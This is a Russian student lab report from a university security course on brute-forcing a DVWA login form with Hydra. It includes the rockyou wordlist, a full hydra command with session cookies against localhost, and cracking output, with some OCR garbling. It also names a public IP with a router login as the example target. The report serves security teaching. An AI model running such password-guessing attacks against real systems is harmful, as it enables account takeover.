# Индивидуальный проект Этап №3

### Использование Hydra

Чванова Ангелина Дмитриевна 2024 год

Российский университет дружбы народов, Москва, Россия

# Информация

### Докладчик

- Чванова Ангелина Дмитриевна
- студент
- Российский университет дружбы народов
- angelinachdm@gmail.com
- https://adchvanova-new.github.io/ru/



# Цель работы

Приобретение практических навыков по использованию инструмента Нуdra для брутфорса паролей.

### Задание

1. Необходимо реализовать эксплуатацию уязвимости с помощью брутфорса паролей.

## Теоретическое введение

- Нуdra используется для подбора или взлома имени пользователя и пароля.
- Поддерживает подбор для большого набора приложений [@brute, @force, @parasram].

Исходные данные: IP сервера 178.72.90.181; Сервис http на стандартном 80 порту;

- Для авторизации используется html форма, которая отправляет по адресу http://178.72.90.181/cgi-bin/luci методом POST запрос вида username=root&password=test\_password;
- В случае неудачной аутентификации пользователь наблюдает сообщение Invalid username and/or password! Please try again.

Чтобы пробрутфорсить пароль, необходимо сначала найти большой список частоиспользуемых паролей. Его можно найти в открытых источниках, в рамках данного этапа был взят стандартный список паролей rockyou.txt для kali linux (рис. 1).

```
(kali® kali)-[~]
$ cd ~/Downloads

(kali® kali)-[~/Downloads]
$ sudo gzip -d rockyou.txt.tar.gz
```

Рис. 1: Распаковка архива со списком паролей

Сайт DVWA, полученный в ходе предыдущего этапа проекта. Для запроса hydra нужны параметры cookie с этого сайта (рис. 2).



**Рис. 2:** Сайт, с которого получаем информацию о параметрах Cookie

Для того чтобы получить информацию о параметрах cookie я было установлено соответствующее расширение для браузера [@cookies], теперь можно не только посмотреть параметры cookie, но и скопировать их (рис. 3).



Рис. 3: Информация о параметрах Cookie

Hydra запрос с нужной информацией. Пароль будем подбирать для пользователя admin, используем GET-запрос с двумя параметрами cookie: безопасность и PHPSESSID, найденными в прошлом пункте (рис. 4).

```
host http-get-form "/DVWA/vulnerabilities/brute/:username=^USER^&
um; PHPSESSID=<mark>2jcut68e2plgdtig6mhb6uhk6u:</mark>F=Username and/or passwo
```

Рис. 4: Запрос Hydra

Спустя некоторое время в результат запроса появится результат с подходящим паролем (рис. 5).

```
** hydra -l admin -P -/rockyou.txt -s 80 localhost http-get-form */DWMA/vulnerabilities/brute/iusername-*USER*opas word*PASS*fosigni-Login:Hockokie:security-medium; PHPSESSID-2jcut68e2plgdtig6mh6buh6bu:F-Username and/or password incorrect.*
ydra v0.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizatins, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
ydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-06 21:51:26
DATa] max 16 tasks per 1 server. overall 16 tasks, 1244308 login tries (1:17):12444308), -896525 tries per task
DATa] max 16 tasks per 1 server. overall 16 tasks, 1244308 login tries (1:17):12444308), -896525 tries per task
DATa] attacking http-get-form://localhost:00/DWMA/vulnerabilities/brute/username="USER"6password-"DASS"6Login-Log
i+H-Cookiessocurity-medium; PMPSESSID-2jeut60e2plgdtig6mb6buh6bu6:1-Username and/or password incorrect.

05 1 target successfully completed, 1 valid password found
ydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-06 21:52:08
```

Рис. 5: Результат запроса

Полученные данные были введены на сайт для проверки (рис. 6).

	DVWA					
ie	Vulnerability: Brute Force					
uctions	Login					
p / Reset DB	Username:					
e Force	admin Password:					
mand Injection	••••••					
F	Login					
Inclusion	Login					

Рис. 6: Ввод полученного результата в уязвимую форму

Был получен положительный результат проверки пароля. Все сделано верно (рис. 7).

Login		
Username:		
Password:		
Login		

Рис. 7: Результат

## Выводы

Приобрела практические навыки по использованию инструмента Hydra для брутфорса паролей

## Список литературы

[1] Документация по Virtual Box: https://www.virtualbox.org/wiki/Documentation